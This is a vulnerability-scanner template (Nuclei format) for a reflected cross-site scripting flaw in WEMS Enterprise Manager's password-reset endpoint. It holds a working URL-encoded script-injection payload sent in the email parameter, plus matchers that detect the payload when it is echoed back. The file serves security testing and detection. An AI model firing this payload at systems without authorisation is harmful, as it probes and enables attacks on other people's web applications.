漏洞描述
WEMS Enterprise Manager contains a cross-site scripting vulnerability via the /guest/users/forgotten endpoint and the email parameter, which allows a remote attacker to inject arbitrary JavaScript into the response return by the server.
id: wems-manager-xss
info:
name: WEMS Enterprise Manager - Cross-Site Scripting
author: pikpikcu
severity: high
description: WEMS Enterprise Manager contains a cross-site scripting vulnerability via the /guest/users/forgotten endpoint and the email parameter, which allows a remote attacker to inject arbitrary JavaScript into the response return by the server.
reference:
- https://packetstormsecurity.com/files/155777/WEMS-Enterprise-Manager-2.58-Cross-Site-Scripting.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 1
tags: xss,packetstorm,vuln
http:
- method: GET
path:
- '{{BaseURL}}/guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- '"><script>confirm(document.domain)</script>'
part: body
- type: word
words:
- "text/html"
part: header
# digest: 490a0046304402201923075c821d0245624ed8d3fafa97ab5c155ffa98b8970010a4cd8e3a35872e0220666753e383302dcd2f410b950b919b7faf41a7c83f691fa2836756d032ef21c4:922c64590222798bb761d5b6d8e72950